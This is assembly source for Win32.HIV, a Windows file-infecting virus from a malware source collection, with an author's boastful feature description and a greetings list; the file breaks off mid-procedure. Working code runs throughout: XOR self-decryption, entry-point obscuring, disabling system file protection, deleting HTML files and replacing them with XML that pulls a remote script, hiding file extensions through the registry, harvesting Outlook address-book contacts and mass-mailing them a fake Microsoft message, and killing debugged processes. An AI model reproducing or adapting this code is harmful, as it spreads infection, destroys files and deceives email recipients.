MalwareSourceCode/Win32/Infector/Win32.Hiv.asm
2020-10-16 23:26:21 +02:00

2815 lines
77 KiB
NASM

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HIV.ASM]ÄÄÄ
COMMENT#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Win32.HIV ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ by Benny/29A ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Finally I finished this virus... it took me more than 8 months to code it.
I hope you will like it and enjoy the new features it presents.
Here comes a deep description of Win32.HIV...
Kernel32 searching engine:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The virus can remember the last used base address of Kernel32.DLL. If the last
one is not valid, it can check the standard addresses, used under Win95/98/NT/2k.
Even if none of these addresses r valid, it can search thru address space of
current process and find the library. Everything of this is protected by
Structured Exception Handling.
API searching mechanism:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
For Kernel32's APIz virus uses its own searching engine, using CRC32 instead
of stringz. For APIz from other libraries it uses GetProcAddress from K32.
Encryption of virus code:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The virus is encrypted by simple XOR mechanism, the encryption constant is
generated from the host code (the checksum). My idea for next viruses is
to code slow-polymorphic engine, where the shape of virus will depend on host
code checksum - something like "virus code depends on hosts DNA" :) AVerz will
have again some problems, becoz they will need to have enough different victim
filez to create valid pattern (for the scanner).
Direct action:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The virus infects ALL PE filez (also inside MSI filez) in current directory.
Infection of PE filez is done by appending to the last section. Infection of
PE filez inside MSIs is done by cavity algorithm:
- find a cave inside .code section
- put there viral code
- modify entrypoint
Into these PE filez not whole virus will be copied, but only a small chunk of
code, which will after execution display message and jump back to host. This
can be called as a payload.
The message loox like:
"[Win32.HIV] by Benny/29A"
"This cell has been infected by HIV virus, generation: " + 10-char number of
virus generation in decimal format.
EntryPoint Obscuring:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Yeah, this virus also uses EPO, which means: virus doesn't modify entrypoint,
it is executed "in-the-middle" of execution of host program. Again, this is
trick to fuck heuristic analysis :)
It overwrites procedure's epilog by <jmp virus> instruction. The epilog loox
like:
pop edi 05Fh
pop esi 05Eh
pop ebx 05Bh
leave 0C9h
ret 0C3h
Even if the sequence couldn't be found it infects the file - this will take
AVerz some time to understand :)
Multi-process residency:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This virus is multi-process resident, which means it can become resident in
ALL process in the system, not only in the current one. Virus does:
- find some process
- allocate memory in process and copy there virus itself
- hook FindFirstFileA,FindNextFileA,CreateFileA,CopyFileA and MoveFileA APIz
- find another process to infect and all again...
Very efficent! Imagine - you have executed WinCommander and accidently you
will execute virus. The virus become resident in ALL process, including
WinCommander, so every file manipulation will be caught by virus. If you will
open any file under WinCommander, virus will infect it! :)
The infection runs in separated thread and execution is passed to host code,
so you should not recognize any system slow down. Also, the ExitProcess API is
hooked, so the process can be terminated only when the infection is finished.
Per-process residency - hooking Internet:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Ah, yeah, this is really tricky stuff. The virus tries to hook InternetConnectA
API from WININET.DLL. If the host program will establish FTP connection, virus
will transfer itself by FTP to the root directory. And this really worx! :)
SFC stuff:
ÄÄÄÄÄÄÄÄÄÄÄ
All Win2k compatbile infectorz used SfcIsFileProtected API to check if victim
files r protected by system and if so, they didn't infect them. This infector
can disable SFC under Win98/2k/ME, so ALL filez (even the system ones) can be
infected! I would like to thank Darkman for his ideaz and SFC code.
Mail spreading:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The virus finds in registry the location of default address book file of Outlook
Express, gets 5 mail addresses from there and sends there infected XML document
(see bellow).
HTML infection (XML stuff):
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Here I would like to thank Rajaat for his XSL idea (see XML stuff in 29A4).
The algorithm of HTML infection loox like:
- virus will disable showing extensions of HTML filez by adding "NeverShowExt"
item to file properties in registry
- then create exactly same icon for XML filez as HTML filez have (now in
explorer XML filez should look like HTML filez)
- find all .HTML filez in current directory
- delete them and create new filez with the same name and .HTML.XML extension
- write there XML code:
<?xml version="1.0"?>
<?xml:stylesheet type="text/xsl" href="http://coderz.net/benny/viruses/press.txt"?>
<i>This cell has been infected by HIV virus, generation: XXXXXXXXXX</i>
press.txt is XSL - XML stylesheet, which is loaded together with XML file and
can be placed anywhere on the internet. This XSL contains VBScript which will
infect computer. XML loox like clean - in fact, it is, but it uses template,
which is infected. I l0ve this stuff...:-)
NTFS stuff:
ÄÄÄÄÄÄÄÄÄÄÄÄ
The virus compresses infected filez placed on NTFS, so the infected filez
are usually smaller than the clean copies...user should not recognize any
space eating...;) Also, it contains next payload - using file streamz on NTFS.
Every infected file on NTFS will have new stream ":HIV" containing message:
"This cell has been infected by HIV virus, generation: " + 10-char number of
virus generation in decimal format.
All of this does not work with MSI filez.
Anti-*:
ÄÄÄÄÄÄÄÄ
Yeah, the virus uses some anti-* featurez, against debuggerz (check "debug_stuff"
procedure), heuristics (SALC opcode, non-suspicious code, EPO) and AVerz
(infected PE files grows by 16384 bytes, about 6,5 kb of virus code, the rest
is data from the end of host - if you will open the file and go to EOF, you
will not find any virus :)
Other features:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The virus doesn't check extensions of victim files, it just opens the file and
chex the internal format, if the file is suitable for infection.
Also, the bug can correct the checksum of infected file (if it is needed), so
there should not be any problem with infection of some files under WinNT/2k.
Known bugz:
ÄÄÄÄÄÄÄÄÄÄÄÄ
Here I would like to thank Perikles and Paddingx for beta-testing Win32.HIV.
I tried to fix all possible bugz, but no program is bug-free, right? :P
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Some comments ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
That was the small description of the virus. I was coding it verz long time,
since the winter 2000, right after Win2k.Installer was released. My idea was to
code virus which could defeat OS "immunity". Heh, and becoz the HIV virus does
the same with human body, I decided to name my virus so.
This virus passed with me all my personal problems and happiness. This year
my life was like on the rolercoaster. Once up, once down. Everything important
that happened to me... there was this virus with me... I'm glad that I finished
it, but I also feel great nostalgy.
Well, I would like to greet some of my friends that helped me or just were
with me and created good atmosphere of all the year.
Darkman: That's a pity that we couldn't code next common virus. However,
thnx for yer help, yer moral support and everything... come
back to vx!
GriYo & Maia: It was really wonderful time in Brno. I'm glad that you came.
Just say weeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeed :)
Rajaat: Many many many thnx for the atmosphere you created on our
meeting... I really enjoyed it. Shroomz 4ever! :) btw, I want
those CDs of Timothy Leary and Kate Bush :-)
Ratter: Don't think you are, know you are!
Skag: Psychedelic drugz rulez :P
Perikles: Thanx for beta-testing dude!
Paddingx: ----------- " " ------------
GigaByte: Very nice time in Brno... but'ta... next time: speak slowly :)
Lada: Rather yes than ratter no :-) Thnx for the best holidayz I've
ever had.
Petra: H3y4, y4 g0t v3ry nIc3 b0dy :)
Queenie: /me hugs ya :D
Timothy Leary: Hey man, ya rule, yer death is the biggest lost for the world
in this age...
Thnx to Marilyn Manson, Beatles, BeeGees, Beach Boys, Timothy Leary,
Kate Bush (hi Rajaat :) and other groupz/ppl for inspiration.
#
PID equ 376
.386p ;386 protected mode instructions
.model flat ;flat model
include MZ.inc ;some important include files
include PE.inc
include Win32API.inc
include UseFul.inc
extrn ExitProcess:PROC ;APIs for first generation of virus
PROCESS_VM_OPERATION equ 0008h ;some equates
PROCESS_VM_READ equ 0010h
PROCESS_VM_WRITE equ 0020h
PROCESS_QUERY_INFORMATION equ 0400h
virus_size equ 16384 ;size of virus in the file and
;memory
@getsz macro msg2psh, reg ;macro to push NULL-terminated string
local next_instr ;to stack and pop address to register
call next_instr
db msg2psh,0
next_instr:
pop reg
endm
j_api macro API ;macro to construct JMP DWORD PTR [xxxxxxxx]
dw 25FFh
API dd ?
endm
.data
Start: ;start of virus in the file
push offset E_EPO ;save EPO address to stack (*)
epo_pos = dword ptr $-4
pushad ;store all registers
@SEH_SetupFrame <jmp end_host> ;setup SEH frame
call gdelta ;get delta offset
gdelta: pop ebp ;to EBP
lea esi,[ebp + encrypted - gdelta] ;get start of encrypted part
mov edi,esi ;save it to EDI
mov ecx,(end_virus-encrypted+3)/4 ;size of encrypted part in DWORDs
decrypt:db 0D6h ;SALC opcode - ANTI-heuristic
lodsd ;get encrypted byte
xor eax,12345678h ;decrypt it
decr_key = dword ptr $-4
stosd ;and save it
loop decrypt ;do it ECX-timez
encrypted: ;encrypted part of virus
db 0D6h ;anti-heuritic
call get_base ;get base address of K32
mov [ebp + k32_base - gdelta],eax ;save it
call get_apis ;get addresses of all needed APIs
call debug_stuff ;check for debugger
mov eax,12345678h ;get generation number to EAX
generation_count = dword ptr $-4
lea edi,[ebp + gcount - gdelta]
call Num2Ascii ;save generation number in
;decimal format
call sfc_stuff98 ;disable SFC under Win98
call sfc_stuffME ;disable SFC under WinME
call sfc_stuff2k ;disable SFC under Win2k
call html_stuff ;infect ALL HTML documents in
;current directory
;direct action - infect all PE filez in current directory
lea esi,[ebp + WFD - gdelta] ;WIN32_FIND_DATA structure
push esi ;save its address
@pushsz '*.*' ;search for all filez
call [ebp + a_FindFirstFileA - gdelta] ;find first file
inc eax
je e_find ;quit if not found
dec eax
push eax ;save search handle to stack
f_next: call CheckInfect ;infect found file
push esi ;save WFD structure
push dword ptr [esp+4] ;and search handle from stack
call [ebp + a_FindNextFileA - gdelta];find next file
test eax,eax
jne f_next ;and infect it
f_close:call [ebp + a_FindClose - gdelta] ;close search handle
e_find: call wab_parse ;get 5 addresses from .WAB file
call mapi_stuff ;and send there infected XML document
and dword ptr [ebp + r2rp - gdelta],0 ;set 0 - host program
and dword ptr [ebp + ep_patch - gdelta],0 ;semaphore for ExitProcess API
;now we will hook InternetConnectA API of host program
and dword ptr [ebp + inet_k32 - gdelta],0 ;use WININET library
lea eax,[ebp + newInternetConnectA - gdelta];address of new handler
sub eax,[ebp + image_base - gdelta] ;correct it to RVA
push eax ;save it
push 06810962Dh ;CRC32 of InternetConnectA
mov eax,400000h ;image base of host file
image_base = dword ptr $-4
call patch_IT ;hook API
mov [ebp + oldInternetConnectA - gdelta],eax;save old address
mov [ebp + inet_k32 - gdelta],ebp ;use K32 library
;now we will hook ExitProcess API of host program so host program could
;be terminated only when virus thread will finish its action
lea eax,[ebp + newExitProcess - gdelta] ;address of new handler
sub eax,[ebp + image_base - gdelta] ;correct it to RVA
push eax ;save it
push 040F57181h ;CRC32 of ExitProcess
mov eax,400000h ;image base of host file
image_base = dword ptr $-4
call patch_IT ;hook API
test eax,eax
je end_host ;quit if error
mov [ebp + oldExitProcess - gdelta],eax ;save old address
mov eax,cs ;get CS to EAX
xor al,al ;nulify LSB
test eax,eax ;EAX is 0, if we r
jne end_host ;under WinNT/2k...
;now we will create thread which will try to infect all K32s in all
;processes - multi-process residency
call _tmp
tmp dd ? ;temporary variable
_tmp: xor eax,eax
push eax
push ebp
lea edx,[ebp + searchThread - gdelta]
push edx
push eax
push eax
call [ebp + a_CreateThread - gdelta] ;create new thread
xchg eax,ecx
jecxz end_host ;quit if error
push eax
call [ebp + a_CloseHandle - gdelta] ;close its handle
end_host:
@SEH_RemoveFrame ;remove SEH frame
mov edi,[esp.cPushad] ;get EPO address (*)
mov eax,0C95B5E5Fh ;restore host code
stosd ;...
mov al,0C3h ;...
stosb ;...
popad ;restore all registers
ret ;and jump back to host
;this procedure can disable WinME's SFC
sfc_stuffME Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
lea edi,[ebp + reg_buffer - gdelta] ;where to save path to windir
call get_win_dir ;get path
test eax,eax
je end_seh ;quit if error
push edi
add edi,eax
call @sfcme
db '\SYSTEM\sfp\sfpdb.sfp',0 ;store the path
@sfcme: pop esi
push 22
pop ecx
rep movsb
pop ebx
call Create_FileA ;open the file
inc eax
je end_seh
dec eax
xchg eax,esi
push 0
push esi
call [ebp + a_GetFileSize - gdelta] ;get file size to EDI
xchg eax,edi
mov [ebp + sfcme_size - gdelta],edi ;save it
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
call [ebp + a_VirtualAlloc - gdelta] ;allocate buffer for file
test eax,eax
je sfcme_file
xchg eax,ebx ;address to EBX
push 0
lea eax,[ebp + tmp - gdelta]
push eax
push edi
push ebx
push esi
call [ebp + a_ReadFile - gdelta] ;read file content to our buffer
pushad ;store all registerz
mov esi,ebx ;ESI - address of buffer
mov ecx,edi ;ECX - size of file
mov edi,esi ;EDI - ESI
push edi ;save base address of buffer
find_comma:
lodsb ;load byte
stosb ;store it
dec ecx ;decrement counter
cmp al,','
jne find_comma ;find comma
find_cr:dec esi
lodsw
dec ecx
cmp ax,0A0Dh
jne find_cr ;find CRLF sequence
mov eax,0A0D2C2Ch
stosd ;save commas and CRLF
inc ecx
loop find_comma ;do it in a loop
pop eax ;get base address of buffer
sub edi,eax ;EDI - size of data
mov [esp.Pushad_eax],edi ;save it
popad ;restore all registerz
push eax ;store size to stack
xor eax,eax
push eax
push eax
push eax
push esi ;move to beginning of file
call [ebp + a_SetFilePointer - gdelta]
pop ecx
push 0
lea eax,[ebp + tmp - gdelta]
push eax
push ecx
push ebx
push esi
call [ebp + a_WriteFile - gdelta] ;write modified data (unprotect
push esi ;filez under WinME :-)
call [ebp + a_SetEndOfFile - gdelta] ;set EOF
push MEM_DECOMMIT
push 12345678h
sfcme_size = dword ptr $-4
push ebx
call [ebp + a_VirtualFree - gdelta]
push MEM_RELEASE
push 0
push ebx
call [ebp + a_VirtualFree - gdelta] ;release buffer memory
jmp sfcme_file ;close file and quit
sfc_stuffME EndP
;this procedure can disable Win98's SFC
sfc_stuff98 Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
lea edi,[ebp + reg_buffer - gdelta] ;where to save path to windir
call get_win_dir ;get path
test eax,eax
je end_seh ;quit if error
mov ebx,edi ;ECX = pointer to reg_buffer
add edi,eax
mov eax,'FED\' ;Store '\DEFAULT.SFC' after the
stosd ;Windows directory
mov eax,'TLUA'
stosd
mov eax,'CFS.'
stosd
call Create_FileA ;open file
inc eax
je end_seh ;quit if error
xchg eax,esi
dec esi ;ESI = file handle
lea eax,[ebp + tmp - gdelta]
push 0
push eax
push sfc98-_sfc98
call sfc98
_sfc98: db 'VF',00h,01h,01h,0Fh dup(00h),'F',00h,00h,03h,00h,'C:\'
sfc98: push esi ;write new SFC record - disable
call [ebp + a_WriteFile - gdelta] ;SFC under Win98 :-)
push esi
call [ebp + a_SetEndOfFile - gdelta] ;truncate file
sfcme_file:
push esi
call [ebp + a_CloseHandle - gdelta] ;close file
jmp end_seh ;and quit
sfc_stuff98 EndP
;retrieve windows directory path from registry to EDI
get_win_dir:
push MAX_PATH
push edi
@pushsz 'windir' ;store path to windows directory
call [ebp + a_GetEnvironmentVariableA - gdelta]
ret
;this procedure can disable Win2k's SFC
sfc_stuff2k Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
@getsz '\WINNT\System32\sfcfiles.dll',edi ;path+filename
lea eax,[ebp + WFD - gdelta]
push eax
push edi ;find SFCFILES.DLL file
sfcfile:call [ebp + a_FindFirstFileA - gdelta]
inc eax
je end_seh ;quit if not found
dec eax
mov [ebp + find_handle - gdelta],eax;save it handle
lea ebx,[ebp + WFD.WFD_szFileName - gdelta]
call Create_FileA ;open file
inc eax
je end_sfc
dec eax
mov [ebp + hsFile - gdelta],eax ;save handle
call Create_FileMappingA ;create file mapping object
xchg eax,ecx
jecxz end_scfile
mov [ebp + hsMapFile - gdelta],ecx ;save handle
call Map_ViewOfFile ;and map view of file to our
xchg eax,ecx ;address space
jecxz end_smfile
mov [ebp + lpsFile - gdelta],ecx ;save handle
movzx eax,word ptr [ecx]
add eax,-"ZM"
jne end_sfile ;must be MZ file
mov ebx,[ecx.MZ_lfanew]
add ebx,ecx ;move to PE header
movzx edx,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edx,[edx+ebx+(3*IMAGE_SIZEOF_FILE_HEADER+4)]
;get to second section header
cmp [edx],'tad.' ;must be ".data"
jne end_sfile
cmp byte ptr [edx+4],'a'
jne end_sfile
mov esi,[edx.SH_PointerToRawData] ;get start of .data section
add esi,ecx ;make pointer RAW
mov ecx,[edx.SH_SizeOfRawData] ;get size of .data section
sfc_parse:
and dword ptr [esi],0 ;nulify everything in that
lodsd ;section
sub ecx,3 ;correct counter
loop sfc_parse ;do it ECX-timez
end_sfile:
push 12345678h
lpsFile = dword ptr $-4
call [ebp + a_UnmapViewOfFile - gdelta];unmap view of file from
end_smfile: ;our address space
push 12345678h
hsMapFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta] ;close handle of mapping object
end_scfile:
lea eax,[ebp + WFD.WFD_ftLastWriteTime - gdelta]
push eax
lea eax,[ebp + WFD.WFD_ftLastAccessTime - gdelta]
push eax
lea eax,[ebp + WFD.WFD_ftCreationTime - gdelta]
push eax
push dword ptr [ebp + hsFile - gdelta]
call [ebp + a_SetFileTime - gdelta] ;set back file time
push 12345678h
hsFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta] ;close file
end_sfc:push 12345678h
find_handle = dword ptr $-4
call [ebp + a_FindClose - gdelta] ;close search handle
jmp end_seh ;and quit from procedure
sfc_stuff2k EndP
;this procedure can:
;1) hide .XML extensions by registry modification
;2) assign .HTML icon to .XML files - .XML filez loox like .HTML file then
;3) find all .HTML filez in current directory, delete them and instead of them
; create .HTML.XML file with "infected" XML inside
;4) get path+filename to standard Outlook Express'es address book (.WAB file)
; from registry
html_stuff Proc
@pushsz 'ADVAPI32'
call [ebp + a_LoadLibraryA - gdelta] ;load ADVAPI32.DLL library
test eax,eax
jne n_load_xml
ret ;quit if error
n_load_xml:
xchg eax,ebx ;EBX = base of ADVAPI32.DLL
@getsz 'RegCreateKeyA',edx
call @get_api ;get address of RegCreateKeyA API
xchg eax,ecx
jecxz end_xml_lib
mov esi,ecx ;ESI = RegCreateKeyA
@getsz 'RegSetValueExA',edx
call @get_api ;get address of RegSetValueA API
xchg eax,ecx
jecxz end_xml_lib
mov edi,ecx ;EDI = RegSetValueExA
@getsz 'RegCloseKey',edx
call @get_api ;get address of RegCloseKey API
xchg eax,ecx
jecxz end_xml_lib
mov [ebp + a_RegCloseKey - gdelta],ecx;save it
call hide_xml ;hide .XML
call chg_xml_icon ;.XML icon = .HTML icon
call search_html ;infect all .HTML filez in
;current directory
end_xml_reg:
push 12345678h
reg_key = dword ptr $-4
call [ebp + a_RegCloseKey - gdelta] ;close registry key
end_xml_reg2:
push dword ptr [ebp + tmp - gdelta]
mov eax,12345678h
a_RegCloseKey = dword ptr $-4
call eax ;...
end_xml_lib:
push ebx
call [ebp + a_FreeLibrary - gdelta] ;unload ADVAPI32.DLL library
ret ;and quit
;this procedure can copy icon from .html to .xml filez and get path+filename of
;default WAB file
chg_xml_icon:
lea ecx,[ebp + reg_key - gdelta]
push ecx
@pushsz 'htmlfile'
push 80000000h
call esi ;open "HKEY_CLASSES_ROOT\htmlfile"
test eax,eax
pop eax
jne end_xml_reg2 ;quit if error
push eax
@getsz 'RegQueryValueA',edx
call @get_api ;get address of RegQueryValueA API
xchg eax,ecx ;ECX = RegQueryValueA
jecxz end_xml_lib
pushad ;store all registers
call @pword1
dd MAX_PATH
@pword1:lea eax,[ebp + wab_buffer - gdelta]
push eax
@pushsz 'Software\Microsoft\WAB\WAB4\Wab File Name'
push 80000001h
call ecx ;copy value of "HKEY_CURRENT_USER\
popad ;\Software\Microsoft\WAB\WAB4\Wab File Name"
;to wab_buffer variable - path+filename of WAB file
call @pword2
dd MAX_PATH
@pword2:lea eax,[ebp + reg_buffer - gdelta]
push eax
call @dicon
def_ico:db 'DefaultIcon',0
@dicon: push dword ptr [ebp + reg_key - gdelta]
call ecx ;get value of "HKEY_CLASSES_ROOT\htmlfile\DefaultIcon"
test eax,eax ;to reg_buffer
pop eax
jne end_xml_reg
push eax
lea ecx,[ebp + tmp - gdelta]
push ecx
lea ecx,[ebp + def_ico - gdelta]
push ecx
push dword ptr [ebp + tmp - gdelta]
call esi ;open "HKEY_CLASSES_ROOT\xmlfile\DefaultIcon"
test eax,eax
pop eax
jne end_xml_reg2
push eax
lea esi,[ebp + reg_buffer - gdelta]
mov ecx,esi
@endsz
sub esi,ecx
push esi
push ecx
push 2
push 0
push 0
push dword ptr [ebp + tmp - gdelta]
call edi ;write icon from \htmlfile to \xmlfile
test eax,eax ;error?
pop eax ;get return address
jne end_xml_reg ;quit
jmp eax ;continue
;address for getting API addresses
;EBX - base of library
;EDX - name of API
@get_api:
push edx
push ebx
call [ebp + a_GetProcAddress - gdelta]
ret
;this procedure can hide extension of .XML filez
hide_xml:
lea ecx,[ebp + tmp - gdelta]
push ecx
@pushsz 'xmlfile'
push 80000000h
call esi ;open "HKEY_CLASSES_ROOT\xmlfile"
test eax,eax
pop eax
jne end_xml_lib
push eax
push 0
push ebp
push 1
push 0
@pushsz 'NeverShowExt'
push dword ptr [ebp + tmp - gdelta]
call edi ;create new item - NeverShowExt - this will
test eax,eax ;hide .XML extension under Windows.
pop eax
jne end_xml_lib
jmp eax
;this procedure can infect all .HTML documents in current directory
search_html:
pushad ;store all registers
lea ebx,[ebp + WFD - gdelta] ;address of WFD record
push ebx
@pushsz '*.html' ;find some .HTML file
call [ebp + a_FindFirstFileA - gdelta]
inc eax
je end_html_search ;quit if no .HTML file was found
dec eax
mov [ebp + fhtmlHandle - gdelta],eax;save search handle
i_html: call infect_html ;infect .HTML file
push ebx ;WFD record
push 12345678h ;search handle
fhtmlHandle = dword ptr $-4
call [ebp + a_FindNextFileA - gdelta];find next .HTML file
test eax,eax
jne i_html ;and infect it
push dword ptr [ebp + fhtmlHandle - gdelta]
call [ebp + a_FindClose - gdelta] ;close search handle
end_html_search:
popad ;restore all registers
ret ;and quit from procedure
;this procedure can infect found .HTML file
infect_html:
pushad ;store all registers
lea esi,[ebx.WFD_szFileName] ;found .HTML file
push esi
call [ebp + a_DeleteFileA - gdelta] ;delete it
push esi
@endsz
dec esi
mov eax,'lmx.'
mov edi,esi
stosd ;create .XML extension
xor al,al
stosb
pop ebx
g_xml: call Create_FileA ;create .HTML.XML file
xchg eax,edi
inc edi
je end_infect_html
dec edi
push 0
call @wftmp
dd ?
@wftmp: push end_xml-start_xml
call end_xml
start_xml: ;start of "infected" XML document
db '<?xml version="1.0"?>'
db '<?xml:stylesheet type="text/xsl" href="http://coderz.net/benny/viruses/press.txt"?>'
db '<i>'
end_xml:push edi
call [ebp + a_WriteFile - gdelta] ;write first part of XML document
push 0
lea ebx,[ebp + @wftmp-4 - gdelta]
push ebx
push szMsg-1-p_msg
lea eax,[ebp + p_msg - gdelta]
push eax
push edi
call [ebp + a_WriteFile - gdelta] ;write message to XML document
push 0
push ebx
push 4
call @endxml
db '</i>'
@endxml:push edi
call [ebp + a_WriteFile - gdelta] ;and final tag
push edi
call [ebp + a_CloseHandle - gdelta] ;close file
end_infect_html:
popad ;restore all registers
ret ;and quit - HTML is now infected :)
html_stuff EndP
;create infected c:\press.xml file
@i_html:pushad
@getsz 'c:\press.xml',ebx
jmp g_xml
;this procedure can send "infected" XML document to 5 mail addresses via MAPI32
mapi_stuff Proc
pushad
call @i_html ;generate XML file
@pushsz 'MAPI32' ;load MAPI32.DLL library
call [ebp + a_LoadLibraryA - gdelta]
test eax,eax
je end_infect_html
xchg eax,ebx ;EBX - base of MAPI32
@getsz 'MAPILogon',edx
call @get_api ;get address of MAPILogon API
test eax,eax
je end_mapi
xchg eax,esi ;ESI - address of MAPILogon
@getsz 'MAPILogoff',edx
call @get_api ;get address of MAPILogoff API
test eax,eax
je end_mapi
xchg eax,edi ;EDI - address of MAPILogoff
@getsz 'MAPISendMail',edx
call @get_api ;get address of MAPISendMail API
test eax,eax
je end_mapi
mov [ebp + a_MAPISendMail - gdelta],eax
;save it
xor edx,edx
lea eax,[ebp + tmp - gdelta];mapi session ptr
push eax
push edx
push edx
lea eax,[ebp + nextPID-1 - gdelta]
push eax
push eax
push edx
call esi ;log on to MAPI32
test eax,eax
jne end_mapi
;generate MAPI32 message
push edi
lea edi,[ebp + MAPIMessage - gdelta]
stosd
@getsz 'XML presentation',eax ;subject
stosd
call @msgbody
db 'Please check out this XML presentation and send us your opinion.',0dh,0ah
db 'If you have any questions about XML presentation, write us.',0dh,0ah,0dh,0ah,0dh,0ah
db 'Thank you,',0dh,0ah,0dh,0ah
db 'The XML developement team, Microsoft Corp.',0
@msgbody:
pop eax
stosd ;message body
add edi,4
@getsz '2010/06/06 22:00',eax ;date and time
stosd
add edi,4
push 2
pop eax
stosd
lea eax,[ebp + MsgFrom - gdelta]
stosd ;sender
push 5
pop eax ;number of recipients
stosd
lea eax,[ebp + MsgTo - gdelta]
stosd ;recipients
xor eax,eax
inc eax
stosd
lea eax,[ebp + MAPIFileDesc - gdelta]
stosd
add edi,4*2
lea eax,[ebp + nextPID-1 - gdelta]
stosd
@getsz 'press@microsoft.com',eax
stosd ;sender
add edi,4*2
push 5
pop ecx
xor eax,eax
msgTo: stosd ;0
inc eax
stosd ;1
dec eax
stosd ;0
imul eax,ecx,22h
lea eax,[eax + ebp + mails - gdelta-22h]
stosd ;get next email address from WAB - recipient
xor eax,eax
stosd ;0
stosd ;0
loop msgTo ;5 timez
add edi,4*3
lea eax,[ebp + @i_html+6 - gdelta]
stosd ;name of file attachment
stosd ;...
add edi,4
xor eax,eax
push eax
push eax
lea ecx,[ebp + MAPIMessage - gdelta]
push ecx ;message
push eax
push dword ptr [ebp + tmp - gdelta]
mov eax,12345678h
a_MAPISendMail = dword ptr $-4
call eax ;send E-MAIL !
pop edi
xor eax,eax
push eax
push eax
push eax
push dword ptr [ebp + tmp - gdelta]
call edi ;close MAPI session
end_mapi:
push ebx
call [ebp + a_FreeLibrary - gdelta] ;unload MAPI32.DLL
popad ;restore all registers
ret ;and quit from procedure
mapi_stuff EndP
;this procedure can get 5 e-mail addresses from Outlook Express'es default
;address-book - .WAB file
wab_parse Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh>
;setup SEH frame
lea ebx,[ebp + wab_buffer - gdelta]
call Create_FileA ;open WAB file
inc eax
je end_seh ;quit if error
dec eax
mov [ebp + wFile - gdelta],eax
;store handle
call Create_FileMappingA
xchg eax,ecx ;create file mapping object
jecxz end_wfile
mov [ebp + wMapFile - gdelta],ecx
;store handle
call Map_ViewOfFile ;map view of file to our address space
xchg eax,ecx
jecxz end_wmfile
mov [ebp + wlpFile - gdelta],ecx
jmp next_wab ;save handle
end_wab:push 12345678h
wlpFile = dword ptr $-4 ;unmap view of file
call [ebp + a_UnmapViewOfFile - gdelta]
end_wmfile:
push 12345678h
wMapFile = dword ptr $-4 ;close file mapping object
call [ebp + a_CloseHandle - gdelta]
end_wfile:
push 12345678h
wFile = dword ptr $-4 ;close file
call [ebp + a_CloseHandle - gdelta]
jmp end_seh ;quit from procedure
next_wab:
mov esi,[ecx+60h] ;get to e-mail addresses array
add esi,ecx ;make RAW pointer
lea edi,[ebp + mails - gdelta] ;buffer for 5 mail addresses
xor ebx,ebx ;EBX - 0
push 5
pop ecx ;ECX - 5
m_loop: call parse_wab ;get one e-mail address
add esi,44h ;get to next record
loop m_loop ;ECX timez
jmp end_wab ;and quit
parse_wab:
push ecx ;store registers
push esi ;...
push 22h
pop ecx ;up to 22 characters
r_mail: lodsw ;get unicode character
stosb ;save ANSI character
dec ecx ;decrement counter
test al,al ;end of string?
jne r_mail ;no, continue
add edi,ecx ;yep, correct EDI
pop esi ;restore registers
pop ecx ;...
ret ;and quit
wab_parse EndP
;this procedure can check if the virus is debugged and if so, it can restart
;computer (Win98) or terminate current process (Win2k)
debug_stuff Proc
pushad
mov eax,fs:[20h] ;get debug context
test eax,eax ;if API-level debugger is not present,
je $+4 ;EAX should be NULL
k_debug:int 19h ;kill process/computer :)
call [ebp + a_IsDebuggerPresent - gdelta]
test eax,eax ;check for API-level debugger
jne k_debug ;kill if present
@getsz '\\.\SICE',ebx ;name of driver to EBX
call Create_FileA ;open SOFTICE driver (Win98)
inc eax
jne k_debug ;kill if present
@getsz '\\.\NTICE',ebx ;name of driver to EBX
call Create_FileA ;open SOFTICE driber (WinNT/2k)
inc eax
jne k_debug ;kill if present
popad ;restore registers
ret ;and continue
debug_stuff EndP
;this procedure is designed to infect ALL processes - in each process it will
;find K32, allocate memory for virus and hook some K32 calls
searchThread Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_search> ;setup SEH frame
mov ebp,[esp.cPushad+12] ;get delta offset
xor ebx,ebx ;EBX - PID
mov ecx,80000h ;set counter
nextPID:inc ebx ;increment PID
pushad ;store all registers
push ebx ;process ID
push 0
